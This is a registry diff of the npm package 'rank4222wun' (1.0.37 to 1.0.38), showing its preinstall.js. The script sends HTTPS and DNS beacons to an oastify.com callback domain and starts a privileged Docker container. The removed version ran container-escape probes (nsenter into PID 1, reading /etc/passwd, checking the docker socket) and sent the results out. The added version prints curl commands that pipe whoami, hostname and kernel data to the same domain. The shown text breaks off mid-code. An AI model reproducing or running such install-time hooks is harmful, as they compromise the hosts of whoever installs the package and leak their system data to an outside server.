rank4222wun 1.0.37 → 1.0.38

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.37",
3
+ "version": "1.0.38",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,882 +1,137 @@
1
- // privileged-container-oast.js
2
- const { exec, spawn } = require('child_process');
3
- const fs = require('fs');
4
- const path = require('path');
5
- const https = require('https');
6
- const dns = require('dns');
1
+ // privileged-container-oast-simple.js
2
+ const { spawn, exec } = require('child_process');
7
3
  const crypto = require('crypto');
4
+ const https = require('https');
5
+
6
+ const OAST_DOMAIN = 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com';
8
7
 
9
8
  console.log(`
10
- ╔══════════════════════════════════════════════════════════╗
11
- PRIVILEGED CONTAINER WITH OAST REPORTING
12
- OAST Domain: v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com
13
- ╚══════════════════════════════════════════════════════════╝
9
+ ╔════════════════════════════════════════════════════╗
10
+ PRIVILEGED CONTAINER + OAST
11
+
12
+ ║ OAST Domain : ${OAST_DOMAIN} ║
13
+ ╚════════════════════════════════════════════════════╝
14
14
  `);
15
15
 
16
- // ===================== CONFIGURATION =====================
17
- const CONFIG = {
18
- OAST: {
19
- domain: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
20
- httpsPort: 443,
21
- httpPort: 80,
22
- apiKey: crypto.randomBytes(16).toString('hex'),
23
- sessionId: `priv-container-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
24
- },
25
-
26
- DOCKER: {
27
- image: 'ubuntu:latest',
28
- command: '/bin/bash',
29
- privileged: true,
30
- interactive: true,
31
- remove: false,
32
- name: `priv-container-${Date.now()}`
33
- },
34
-
35
- SCAN: {
36
- hostEscape: true,
37
- networkScan: true,
38
- fileAccess: true,
39
- capabilityCheck: true
40
- }
41
- };
42
-
43
- // ===================== OAST FUNCTIONS =====================
44
- class OASTReporter {
45
- constructor() {
46
- this.interactions = [];
47
- this.reports = [];
48
- }
49
-
50
- sendDNS(subdomain, data = {}) {
51
- const dnsName = `${subdomain}.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
52
-
53
- dns.lookup(dnsName, (err) => {
54
- if (!err) {
55
- const interaction = {
56
- type: 'DNS',
57
- timestamp: new Date().toISOString(),
58
- subdomain: subdomain,
59
- dnsName: dnsName,
60
- data: data
61
- };
62
-
63
- this.interactions.push(interaction);
64
- console.log(`📡 DNS OAST sent: ${dnsName}`);
65
- }
66
- });
67
- }
68
-
69
- sendHTTP(endpoint, data) {
70
- const postData = JSON.stringify({
71
- sessionId: CONFIG.OAST.sessionId,
72
- timestamp: new Date().toISOString(),
73
- ...data
74
- });
75
-
76
- const options = {
77
- hostname: CONFIG.OAST.domain,
78
- port: CONFIG.OAST.httpPort,
79
- path: endpoint,
80
- method: 'POST',
81
- headers: {
82
- 'Content-Type': 'application/json',
83
- 'X-Session-ID': CONFIG.OAST.sessionId,
84
- 'User-Agent': 'PrivilegedContainerScanner/1.0'
85
- }
86
- };
87
-
88
- const req = http.request(options, (res) => {
89
- let body = '';
90
- res.on('data', chunk => body += chunk);
91
- res.on('end', () => {
92
- const interaction = {
93
- type: 'HTTP',
94
- timestamp: new Date().toISOString(),
95
- endpoint: endpoint,
96
- status: res.statusCode,
97
- response: body,
98
- data: data
99
- };
100
-
101
- this.interactions.push(interaction);
102
- console.log(`📡 HTTP OAST sent (${res.statusCode}): ${endpoint}`);
103
- });
104
- });
105
-
106
- req.on('error', () => {});
107
- req.write(postData);
108
- req.end();
109
- }
110
-
111
- sendHTTPS(endpoint, data) {
112
- const postData = JSON.stringify({
113
- sessionId: CONFIG.OAST.sessionId,
114
- timestamp: new Date().toISOString(),
115
- ...data
116
- });
117
-
118
- const options = {
119
- hostname: CONFIG.OAST.domain,
120
- port: CONFIG.OAST.httpsPort,
121
- path: endpoint,
122
- method: 'POST',
123
- headers: {
124
- 'Content-Type': 'application/json',
125
- 'X-Session-ID': CONFIG.OAST.sessionId,
126
- 'X-Report-Type': 'privileged_container',
127
- 'User-Agent': 'ContainerEscapeDetector/2.0'
128
- }
129
- };
130
-
131
- const req = https.request(options, (res) => {
132
- let body = '';
133
- res.on('data', chunk => body += chunk);
134
- res.on('end', () => {
135
- const interaction = {
136
- type: 'HTTPS',
137
- timestamp: new Date().toISOString(),
138
- endpoint: endpoint,
139
- status: res.statusCode,
140
- response: body,
141
- data: data
142
- };
143
-
144
- this.interactions.push(interaction);
145
- this.reports.push(interaction);
146
- console.log(`📡 HTTPS OAST sent (${res.statusCode}): ${endpoint}`);
147
- });
148
- });
149
-
150
- req.on('error', (e) => {
151
- console.log(`⚠️ OAST error (may be expected): ${e.message}`);
152
- });
16
+ function generateSessionId() {
17
+ const timestamp = Date.now();
18
+ const random = crypto.randomBytes(6).toString('hex');
19
+ return `sess-${timestamp}-${random}`;
20
+ }
153
21
 
154
- req.write(postData);
155
- req.end();
156
- }
22
+ const sessionId = generateSessionId();
23
+ const uniqueSub = crypto.randomBytes(4).toString('hex'); // لعمل subdomain فريد
157
24
 
158
- async reportContainerEscape(containerId, evidence) {
159
- const report = {
160
- containerId: containerId.substring(0, 12),
161
- escapeConfirmed: evidence.escaped || false,
162
- confidence: evidence.confidence || 0,
163
- methods: evidence.methods || [],
164
- proofPoints: evidence.proofPoints || [],
165
- hostInfo: evidence.hostInfo || {},
166
- timestamp: new Date().toISOString()
167
- };
25
+ console.log(`Session ID : ${sessionId}`);
26
+ console.log(`Unique subdomain : ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
168
27
 
169
- // إرسال عبر HTTPS
170
- this.sendHTTPS('/privileged-container-escape', report);
28
+ function sendSimpleHttpsBeacon(path = '/start', extraData = {}) {
29
+ const data = JSON.stringify({
30
+ session: sessionId,
31
+ ts: new Date().toISOString(),
32
+ type: 'beacon',
33
+ ...extraData
34
+ });
171
35
 
172
- // إرسال DNS notification
173
- if (evidence.escaped) {
174
- this.sendDNS('escape-confirmed', {
175
- container: containerId.substring(0, 12),
176
- confidence: evidence.confidence
177
- });
36
+ const options = {
37
+ hostname: OAST_DOMAIN,
38
+ port: 443,
39
+ path: path,
40
+ method: 'POST',
41
+ headers: {
42
+ 'Content-Type': 'application/json',
43
+ 'Content-Length': Buffer.byteLength(data),
44
+ 'User-Agent': 'PrivContainerTest/1.0',
45
+ 'X-Session': sessionId
178
46
  }
47
+ };
179
48
 
180
- // حفظ محلياً
181
- this.saveLocalReport(report);
49
+ const req = https.request(options, (res) => {
50
+ res.on('data', () => {}); // نكتفي بالرد
51
+ });
182
52
 
183
- return report;
184
- }
53
+ req.on('error', (e) => {
54
+ console.log(`[beacon error] ${e.message}`);
55
+ });
185
56
 
186
- saveLocalReport(report) {
187
- const filename = `oast-report-${CONFIG.OAST.sessionId}.json`;
188
- const allReports = {
189
- sessionId: CONFIG.OAST.sessionId,
190
- domain: CONFIG.OAST.domain,
191
- timestamp: new Date().toISOString(),
192
- reports: this.reports,
193
- containerReport: report
194
- };
57
+ req.write(data);
58
+ req.end();
195
59
 
196
- fs.writeFileSync(filename, JSON.stringify(allReports, null, 2));
197
- console.log(`💾 Report saved locally: ${filename}`);
198
- }
60
+ console.log(`→ HTTPS beacon sent to https://${OAST_DOMAIN}${path}`);
199
61
  }
200
62
 
201
- // ===================== CONTAINER SCANNER =====================
202
- class PrivilegedContainerScanner {
203
- constructor() {
204
- this.containerId = null;
205
- this.oastReporter = new OASTReporter();
206
- this.evidence = {
207
- escaped: false,
208
- confidence: 0,
209
- methods: [],
210
- proofPoints: [],
211
- hostInfo: {},
212
- containerInfo: {}
213
- };
214
- }
215
-
216
- async run() {
217
- try {
218
- console.log('🚀 Starting privileged container analysis...\n');
219
-
220
- // إرسال بداية الجلسة إلى OAST
221
- this.oastReporter.sendHTTPS('/session-start', {
222
- action: 'privileged_container_start',
223
- config: CONFIG
224
- });
225
-
226
- // 1. تشغيل الحاوية المميزة
227
- await this.runPrivilegedContainer();
228
-
229
- // 2. جمع المعلومات الأساسية
230
- await this.collectBasicInfo();
231
-
232
- // 3. محاولة الهروب والتأكيد
233
- await this.attemptEscape();
234
-
235
- // 4. فحص إضافي للحاوية
236
- await this.performDeepScan();
237
-
238
- // 5. تحليل النتائج
239
- await this.analyzeResults();
240
-
241
- // 6. إرسال التقرير النهائي
242
- await this.sendFinalReport();
243
-
244
- // 7. عرض النتائج
245
- this.displayResults();
246
-
247
- // 8. تنظيف (اختياري)
248
- await this.cleanup();
249
-
250
- } catch (error) {
251
- console.error(`❌ Error: ${error.message}`);
252
- this.oastReporter.sendHTTPS('/error', { error: error.message });
253
- }
254
- }
255
-
256
- async runPrivilegedContainer() {
257
- console.log('📦 Running privileged container...');
258
-
259
- const dockerArgs = [
260
- 'run',
261
- '--privileged',
262
- '-d',
263
- '--name', CONFIG.DOCKER.name,
264
- CONFIG.DOCKER.image,
265
- 'sleep', '3600'
266
- ];
267
-
268
- return new Promise((resolve, reject) => {
269
- exec(`docker ${dockerArgs.join(' ')}`, (error, stdout, stderr) => {
270
- if (error) {
271
- reject(error);
272
- return;
273
- }
274
-
275
- this.containerId = stdout.trim();
276
- console.log(`✅ Container started: ${this.containerId.substring(0, 12)}`);
277
-
278
- // إرسال إلى OAST
279
- this.oastReporter.sendHTTPS('/container-started', {
280
- containerId: this.containerId.substring(0, 12),
281
- name: CONFIG.DOCKER.name,
282
- image: CONFIG.DOCKER.image,
283
- privileged: true
284
- });
285
-
286
- // الانتظار للحاوية لتبدأ
287
- setTimeout(resolve, 2000);
288
- });
289
- });
290
- }
291
-
292
- async collectBasicInfo() {
293
- console.log('\n🔍 Collecting basic container information...');
294
-
295
- const commands = [
296
- // معلومات النظام
297
- 'cat /etc/os-release',
298
- 'uname -a',
299
- 'whoami',
300
- 'id',
301
-
302
- // الصلاحيات
303
- 'capsh --print 2>/dev/null || echo "No capsh"',
304
- 'cat /proc/self/status | grep -i cap',
305
-
306
- // نظام الملفات
307
- 'ls -la /',
308
- 'mount | head -20',
309
- 'df -h',
310
-
311
- // الذاكرة والمعالج
312
- 'free -h',
313
- 'cat /proc/cpuinfo | grep "model name" | head -1',
314
-
315
- // الشبكة
316
- 'ip addr show',
317
- 'hostname -I',
318
- 'cat /etc/hosts',
319
-
320
- // معلومات Docker
321
- 'cat /proc/1/cgroup 2>/dev/null || echo "No cgroup access"',
322
- 'ls -la /var/run/docker.sock 2>/dev/null || echo "No docker socket"'
323
- ];
324
-
325
- const results = {};
326
-
327
- for (const cmd of commands) {
328
- try {
329
- const output = await this.execInContainer(cmd);
330
- results[cmd] = output.substring(0, 500);
331
-
332
- // تحليل بعض النتائج الهامة
333
- if (cmd.includes('os-release')) {
334
- this.evidence.containerInfo.os = output;
335
- }
336
- if (cmd.includes('uname -a')) {
337
- this.evidence.containerInfo.kernel = output;
338
- }
339
- if (cmd.includes('capsh')) {
340
- this.evidence.containerInfo.capabilities = output;
341
- }
342
-
343
- } catch (error) {
344
- results[cmd] = `ERROR: ${error.message}`;
345
- }
346
- }
347
-
348
- // إرسال المعلومات الأساسية إلى OAST
349
- this.oastReporter.sendHTTPS('/basic-info', {
350
- containerId: this.containerId.substring(0, 12),
351
- basicInfo: results
352
- });
353
-
354
- return results;
355
- }
63
+ // إرسال إشارة بداية من الـ host نفسه
64
+ sendSimpleHttpsBeacon('/start', { action: 'script_started' });
356
65
 
357
- async attemptEscape() {
358
- console.log('\n🔓 Attempting container escape...');
359
-
360
- const escapeTests = [
361
- {
362
- name: 'nsenter_escape',
363
- command: 'which nsenter && nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"',
364
- check: (output) => output.includes('HOST_HOSTNAME') && output.includes('CONTAINER_HOSTNAME')
365
- },
366
- {
367
- name: 'proc_escape',
368
- command: 'cat /proc/1/status 2>/dev/null | head -5 && cat /proc/1/cmdline 2>/dev/null | tr "\\0" " " | head -c 100',
369
- check: (output) => output.includes('State:') && output.length > 20
370
- },
371
- {
372
- name: 'host_mounts',
373
- command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || cat /etc/passwd 2>/dev/null | head -5 || echo "NO_ACCESS"',
374
- check: (output) => !output.includes('NO_ACCESS') && output.length > 10
375
- },
376
- {
377
- name: 'docker_socket',
378
- command: 'ls -la /var/run/docker.sock 2>/dev/null && echo "EXISTS" || echo "NOT_EXISTS"',
379
- check: (output) => output.includes('EXISTS')
380
- },
381
- {
382
- name: 'network_escape',
383
- command: 'ip route show 2>/dev/null | head -5 && ip neigh show 2>/dev/null | head -5',
384
- check: (output) => output.includes('default via') || output.includes('lladdr')
385
- }
386
- ];
387
-
388
- for (const test of escapeTests) {
389
- try {
390
- const output = await this.execInContainer(test.command);
391
-
392
- if (test.check(output)) {
393
- this.evidence.methods.push(test.name);
394
- console.log(`✅ ${test.name}: Possible`);
395
-
396
- // إرسال إلى OAST
397
- this.oastReporter.sendHTTPS('/escape-attempt', {
398
- method: test.name,
399
- success: true,
400
- output: output.substring(0, 300)
401
- });
402
-
403
- // التحقق من اختلاف hostname لـ nsenter
404
- if (test.name === 'nsenter_escape') {
405
- const lines = output.split('\n');
406
- let hostHostname = '';
407
- let containerHostname = '';
408
-
409
- lines.forEach(line => {
410
- if (line.startsWith('HOST_HOSTNAME:')) {
411
- hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
412
- }
413
- if (line.startsWith('CONTAINER_HOSTNAME:')) {
414
- containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
415
- }
416
- });
417
-
418
- if (hostHostname && containerHostname && hostHostname !== containerHostname) {
419
- this.evidence.proofPoints.push(`Host hostname (${hostHostname}) differs from container (${containerHostname})`);
420
- this.evidence.hostInfo.hostname = hostHostname;
421
- this.evidence.escaped = true;
422
- }
423
- }
424
- }
425
- } catch (error) {
426
- console.log(`❌ ${test.name}: Failed - ${error.message}`);
427
- }
428
- }
429
- }
430
-
431
- async performDeepScan() {
432
- if (!CONFIG.SCAN.hostEscape) return;
433
-
434
- console.log('\n🔬 Performing deep scan...');
435
-
436
- const deepChecks = [
437
- // محاولة إنشاء حاوية من داخل الحاوية
438
- {
439
- name: 'nested_container',
440
- command: 'which docker && docker ps 2>/dev/null || which podman && podman ps 2>/dev/null || echo "NO_CONTAINER_RUNTIME"',
441
- check: (output) => !output.includes('NO_CONTAINER_RUNTIME')
442
- },
443
-
444
- // فحص kernel vulnerabilities
445
- {
446
- name: 'kernel_check',
447
- command: 'uname -r && grep -i "dirty\\|cow\\|shock\\|overlay" /etc/os-release 2>/dev/null || echo "NO_VULN_INFO"',
448
- check: (output) => output.length > 5
449
- },
450
-
451
- // محاولة كتابة ملف في نظام المضيف
452
- {
453
- name: 'host_write_test',
454
- command: 'echo "TEST_WRITE_FROM_CONTAINER" > /tmp/container_test.txt 2>/dev/null && echo "WRITE_SUCCESS" || echo "WRITE_FAILED"',
455
- check: (output) => output.includes('WRITE_SUCCESS')
456
- },
457
-
458
- // فحص mount points خطيرة
459
- {
460
- name: 'dangerous_mounts',
461
- command: 'mount 2>/dev/null | grep -E "(proc|sys|dev|/var/run)" | head -10',
462
- check: (output) => output.length > 10
463
- }
464
- ];
465
-
466
- for (const check of deepChecks) {
467
- try {
468
- const output = await this.execInContainer(check.command);
469
-
470
- if (check.check(output)) {
471
- console.log(`⚠️ ${check.name}: Found potential issue`);
472
-
473
- // إرسال إلى OAST
474
- this.oastReporter.sendDNS(check.name, {
475
- result: output.substring(0, 100)
476
- });
477
- }
478
- } catch (error) {
479
- // تجاهل الأخطاء
480
- }
481
- }
482
- }
66
+ // ────────────────────────────────────────────────
483
67
 
484
- async analyzeResults() {
485
- console.log('\n📊 Analyzing results...');
486
-
487
- // حساب مستوى الثقة
488
- let confidence = 0;
489
-
490
- // نقاط لكل طريقة هروب محتملة
491
- const methodPoints = {
492
- nsenter_escape: 30,
493
- proc_escape: 25,
494
- host_mounts: 20,
495
- docker_socket: 25,
496
- network_escape: 15
497
- };
498
-
499
- this.evidence.methods.forEach(method => {
500
- confidence += methodPoints[method] || 10;
501
- });
502
-
503
- // نقاط إضافية لأدلة قاطعة
504
- if (this.evidence.proofPoints.length > 0) {
505
- confidence += this.evidence.proofPoints.length * 10;
506
- }
507
-
508
- // إذا كان hostname مختلف
509
- if (this.evidence.hostInfo.hostname) {
510
- confidence += 20;
511
- }
512
-
513
- // تحديد إذا تم الهروب فعلاً
514
- this.evidence.confidence = Math.min(100, confidence);
515
-
516
- if (this.evidence.confidence >= 60) {
517
- this.evidence.escaped = true;
518
- console.log(`🚨 CONFIRMED: Container escape possible (${this.evidence.confidence}% confidence)`);
519
- } else if (this.evidence.confidence >= 30) {
520
- console.log(`⚠️ POSSIBLE: Container escape may be possible (${this.evidence.confidence}% confidence)`);
521
- } else {
522
- console.log(`✅ SECURE: Container appears isolated (${this.evidence.confidence}% confidence)`);
523
- }
524
- }
68
+ console.log(`
69
+ تشغيل الحاوية المميزة الآن...
70
+ (إضغط Ctrl+C للإنهاء - سيظهر تنظيف بسيط)
525
71
 
526
- async sendFinalReport() {
527
- console.log('\n📡 Sending final report to OAST...');
528
-
529
- const report = {
530
- sessionId: CONFIG.OAST.sessionId,
531
- containerId: this.containerId ? this.containerId.substring(0, 12) : 'unknown',
532
- timestamp: new Date().toISOString(),
533
- evidence: this.evidence,
534
- summary: {
535
- escaped: this.evidence.escaped,
536
- confidence: this.evidence.confidence,
537
- methods: this.evidence.methods,
538
- proofPoints: this.evidence.proofPoints
539
- }
540
- };
541
-
542
- // إرسال التقرير النهائي
543
- this.oastReporter.reportContainerEscape(this.containerId, this.evidence);
544
-
545
- // إرسال DNS notification للنتيجة
546
- const resultType = this.evidence.escaped ? 'escape-confirmed' : 'no-escape';
547
- this.oastReporter.sendDNS(resultType, {
548
- confidence: this.evidence.confidence,
549
- methods: this.evidence.methods.length
550
- });
551
-
552
- return report;
553
- }
72
+ أوامر مفيدة نفذها داخل الحاوية لاختبار الـ OAST:
554
73
 
555
- displayResults() {
556
- console.log('\n' + '='.repeat(80));
557
- console.log('📊 PRIVILEGED CONTAINER ANALYSIS RESULTS');
558
- console.log('='.repeat(80));
559
-
560
- console.log(`\n📦 Container ID: ${this.containerId ? this.containerId.substring(0, 12) : 'unknown'}`);
561
- console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
562
- console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
563
-
564
- console.log(`\n🎯 Escape Status: ${this.evidence.escaped ? '🚨 CONFIRMED' : '✅ NOT CONFIRMED'}`);
565
- console.log(`📈 Confidence Level: ${this.evidence.confidence}%`);
566
-
567
- if (this.evidence.methods.length > 0) {
568
- console.log(`\n🔓 Possible Escape Methods:`);
569
- this.evidence.methods.forEach((method, i) => {
570
- console.log(` ${i + 1}. ${method}`);
571
- });
572
- }
573
-
574
- if (this.evidence.proofPoints.length > 0) {
575
- console.log(`\n🎯 Evidence Found:`);
576
- this.evidence.proofPoints.forEach((proof, i) => {
577
- console.log(` ${i + 1}. ${proof}`);
578
- });
579
- }
580
-
581
- if (this.evidence.hostInfo.hostname) {
582
- console.log(`\n🖥️ Host Information:`);
583
- console.log(` Hostname: ${this.evidence.hostInfo.hostname}`);
584
- }
585
-
586
- console.log(`\n📡 OAST Interactions: ${this.oastReporter.interactions.length} interactions sent`);
587
- console.log(` DNS: ${this.oastReporter.interactions.filter(i => i.type === 'DNS').length}`);
588
- console.log(` HTTPS: ${this.oastReporter.interactions.filter(i => i.type === 'HTTPS').length}`);
589
-
590
- console.log('\n🔍 Check your OAST dashboard for detailed evidence:');
591
- console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
592
- console.log(` Look for interactions at: ${CONFIG.OAST.domain}`);
593
-
594
- console.log('\n' + '='.repeat(80));
595
- console.log('🎯 ANALYSIS COMPLETE');
596
- console.log('='.repeat(80));
597
- }
74
+ 1. اختبار DNS (أكثر موثوقية):
75
+ nslookup ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
598
76
 
599
- async cleanup() {
600
- if (this.containerId) {
601
- console.log('\n🧹 Cleaning up container...');
602
-
603
- try {
604
- await this.execOnHost(`docker stop ${this.containerId}`);
605
- await this.execOnHost(`docker rm ${this.containerId}`);
606
- console.log('✅ Container cleaned up');
607
-
608
- // إرسال إشعار التنظيف إلى OAST
609
- this.oastReporter.sendHTTPS('/cleanup', {
610
- containerId: this.containerId.substring(0, 12),
611
- action: 'container_removed'
612
- });
613
- } catch (error) {
614
- console.log(`⚠️ Could not clean up container: ${error.message}`);
615
- }
616
- }
617
- }
77
+ أو (إذا ما فيش nslookup):
78
+ ping -c 1 -W 1 ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
618
79
 
619
- execInContainer(command) {
620
- return new Promise((resolve, reject) => {
621
- if (!this.containerId) {
622
- reject(new Error('No container running'));
623
- return;
624
- }
625
-
626
- exec(`docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`,
627
- { timeout: 10000 },
628
- (error, stdout, stderr) => {
629
- if (error) {
630
- reject(error);
631
- } else {
632
- resolve(stdout || stderr || '');
633
- }
634
- }
635
- );
636
- });
637
- }
80
+ 2. اختبار HTTP/HTTPS بسيط:
81
+ curl -s "https://${OAST_DOMAIN}/ping?session=${sessionId}&from=container" || true
638
82
 
639
- execOnHost(command) {
640
- return new Promise((resolve, reject) => {
641
- exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
642
- if (error) {
643
- reject(error);
644
- } else {
645
- resolve(stdout);
646
- }
647
- });
648
- });
649
- }
650
- }
83
+ 3. إرسال معلومات سريعة (مثال):
84
+ whoami | curl -d @- "https://${OAST_DOMAIN}/whoami?session=${sessionId}"
651
85
 
652
- // ===================== SIMPLE VERSION =====================
653
- function runSimplePrivilegedWithOAST() {
654
- console.log('🚀 Running simple privileged container with OAST reporting...\n');
655
-
656
- const containerName = `simple-priv-${Date.now()}`;
657
- const sessionId = `simple-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`;
658
-
659
- // إرسال بداية الجلسة
660
- const startReq = https.request({
661
- hostname: CONFIG.OAST.domain,
662
- port: CONFIG.OAST.httpsPort,
663
- path: '/simple-start',
664
- method: 'POST',
665
- headers: {
666
- 'Content-Type': 'application/json',
667
- 'X-Session-ID': sessionId
668
- }
669
- });
670
-
671
- startReq.write(JSON.stringify({
672
- action: 'simple_container_start',
673
- containerName: containerName,
674
- timestamp: new Date().toISOString()
675
- }));
676
- startReq.end();
677
-
678
- // تشغيل الحاوية
679
- const dockerArgs = [
680
- 'run',
681
- '--privileged',
682
- '--name', containerName,
683
- '--rm',
684
- CONFIG.DOCKER.image,
685
- 'sh', '-c',
686
- `
687
- echo "=== PRIVILEGED CONTAINER STARTED ==="
688
- echo "Session: ${sessionId}"
689
- echo "Hostname: $(hostname)"
690
- echo "User: $(whoami)"
691
- echo "=== TESTING ESCAPE ==="
692
-
693
- # Test nsenter
694
- which nsenter && echo "nsenter: AVAILABLE" || echo "nsenter: NOT_AVAILABLE"
695
-
696
- # Test host access
697
- cat /proc/1/status 2>/dev/null | head -2 && echo "Host proc: ACCESSIBLE" || echo "Host proc: NO_ACCESS"
698
-
699
- # Send DNS notification
700
- nslookup ${sessionId}.simple-test.${CONFIG.OAST.domain} 2>/dev/null || echo "DNS test"
701
-
702
- echo "=== CONTAINER COMPLETE ==="
703
- `
704
- ];
705
-
706
- console.log(`Running: docker ${dockerArgs.join(' ')}`);
707
-
708
- const dockerProcess = spawn('docker', dockerArgs, { stdio: 'inherit' });
709
-
710
- dockerProcess.on('close', (code) => {
711
- console.log(`\n✅ Container exited with code: ${code}`);
712
-
713
- // إرسال إشعار الانتهاء
714
- const endReq = https.request({
715
- hostname: CONFIG.OAST.domain,
716
- port: CONFIG.OAST.httpsPort,
717
- path: '/simple-end',
718
- method: 'POST',
719
- headers: {
720
- 'Content-Type': 'application/json',
721
- 'X-Session-ID': sessionId
722
- }
723
- });
724
-
725
- endReq.write(JSON.stringify({
726
- action: 'simple_container_end',
727
- exitCode: code,
728
- timestamp: new Date().toISOString()
729
- }));
730
- endReq.end();
731
-
732
- console.log(`\n📡 Check OAST for interactions: ${CONFIG.OAST.domain}`);
733
- console.log(`🔑 Session ID: ${sessionId}`);
734
- });
735
- }
86
+ 4. إرسال hostname + kernel:
87
+ (echo "host=$(hostname) kernel=$(uname -r)" | curl -d @- "https://${OAST_DOMAIN}/info?session=${sessionId}") || true
736
88
 
737
- // ===================== INTERACTIVE VERSION =====================
738
- function runInteractivePrivileged() {
739
- console.log('🚀 Running interactive privileged container...\n');
740
- console.log(`📡 OAST Domain: ${CONFIG.OAST.domain}`);
741
- console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
742
-
743
- // إرسال إشعار البدء
744
- const req = https.request({
745
- hostname: CONFIG.OAST.domain,
746
- port: CONFIG.OAST.httpsPort,
747
- path: '/interactive-start',
748
- method: 'POST',
749
- headers: {
750
- 'Content-Type': 'application/json',
751
- 'X-Session-ID': CONFIG.OAST.sessionId
752
- }
753
- });
754
-
755
- req.write(JSON.stringify({
756
- action: 'interactive_container_start',
757
- timestamp: new Date().toISOString(),
758
- command: 'docker run --privileged -it ubuntu:latest /bin/bash'
759
- }));
760
- req.end();
761
-
762
- // تشغيل الحاوية التفاعلية
763
- console.log('💻 Starting interactive bash session...');
764
- console.log(' You can test commands manually.');
765
- console.log(' Try these commands to test escape:');
766
- console.log(' - nsenter --target 1 --mount -- sh -c "hostname"');
767
- console.log(' - cat /proc/1/status');
768
- console.log(' - ls -la /var/run/docker.sock');
769
- console.log(' - nslookup test.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}\n');
770
-
771
- const dockerProcess = spawn('docker', [
772
- 'run',
773
- '--privileged',
774
- '-it',
775
- '--name', `interactive-${CONFIG.OAST.sessionId}`,
776
- CONFIG.DOCKER.image,
777
- CONFIG.DOCKER.command
778
- ], {
779
- stdio: 'inherit'
780
- });
781
-
782
- dockerProcess.on('close', (code) => {
783
- console.log(`\n🔚 Container exited with code: ${code}`);
784
-
785
- // إرسال إشعار الانتهاء
786
- const endReq = https.request({
787
- hostname: CONFIG.OAST.domain,
788
- port: CONFIG.OAST.httpsPort,
789
- path: '/interactive-end',
790
- method: 'POST',
791
- headers: {
792
- 'Content-Type': 'application/json',
793
- 'X-Session-ID': CONFIG.OAST.sessionId
794
- }
795
- });
796
-
797
- endReq.write(JSON.stringify({
798
- action: 'interactive_container_end',
799
- exitCode: code,
800
- timestamp: new Date().toISOString()
801
- }));
802
- endReq.end();
803
-
804
- // تنظيف
805
- exec(`docker rm interactive-${CONFIG.OAST.sessionId} 2>/dev/null || true`);
806
-
807
- console.log(`\n📡 Check OAST interactions at: ${CONFIG.OAST.domain}`);
808
- console.log(`🔑 Use Session ID: ${CONFIG.OAST.sessionId}`);
809
- });
810
-
811
- // التعامل مع Ctrl+C
812
- process.on('SIGINT', () => {
813
- console.log('\n\n⚠️ Received Ctrl+C, cleaning up...');
814
- dockerProcess.kill('SIGINT');
815
- });
816
- }
89
+ ملاحظة: ubuntu:latest قد لا تحتوي curl افتراضياً في بعض الإصدارات المصغرة.
90
+ إذا لم يعمل curl → جرب:
91
+ apt update && apt install -y curl 2>/dev/null || true
817
92
 
818
- // ===================== MAIN FUNCTION =====================
819
- async function main() {
820
- console.log('🎯 Choose scanning method:');
821
- console.log(' 1. Full analysis with automated scanning and OAST reporting');
822
- console.log(' 2. Simple container with basic OAST reporting');
823
- console.log(' 3. Interactive privileged container (docker run --privileged -it ubuntu:latest /bin/bash)');
824
- console.log(' 4. Exit');
825
-
826
- const readline = require('readline').createInterface({
827
- input: process.stdin,
828
- output: process.stdout
829
- });
830
-
831
- readline.question('\nSelect option: ', async (choice) => {
832
- readline.close();
833
-
834
- switch(choice.trim()) {
835
- case '1':
836
- const scanner = new PrivilegedContainerScanner();
837
- await scanner.run();
838
- break;
839
-
840
- case '2':
841
- runSimplePrivilegedWithOAST();
842
- break;
843
-
844
- case '3':
845
- runInteractivePrivileged();
846
- break;
847
-
848
- default:
849
- console.log('👋 Exiting');
850
- process.exit(0);
851
- }
852
- });
853
- }
93
+ جاري التشغيل...
94
+ `);
854
95
 
855
- // ===================== CHECK DOCKER =====================
856
- if (require.main === module) {
857
- // التحقق من Docker
858
- exec('which docker', (error) => {
859
- if (error) {
860
- console.error('❌ Docker is not installed or not in PATH');
861
- process.exit(1);
862
- }
863
-
864
- exec('docker ps', (error) => {
865
- if (error && error.message.includes('permission denied')) {
866
- console.error('❌ Permission denied for Docker');
867
- console.log(' Try: sudo usermod -aG docker $USER');
868
- console.log(' Then logout and login again');
869
- process.exit(1);
870
- }
871
-
872
- console.log(`✅ Docker is available`);
873
- console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
874
- console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
875
-
876
- // بدء البرنامج
877
- main();
878
- });
96
+ // ────────────────────────────────────────────────
97
+
98
+ const dockerArgs = [
99
+ 'run',
100
+ '--privileged',
101
+ '-it',
102
+ '--rm',
103
+ '--name', `priv-test-${sessionId.slice(0,12)}`,
104
+ 'ubuntu:latest',
105
+ '/bin/bash'
106
+ ];
107
+
108
+ const container = spawn('docker', dockerArgs, {
109
+ stdio: 'inherit'
110
+ });
111
+
112
+ container.on('error', (err) => {
113
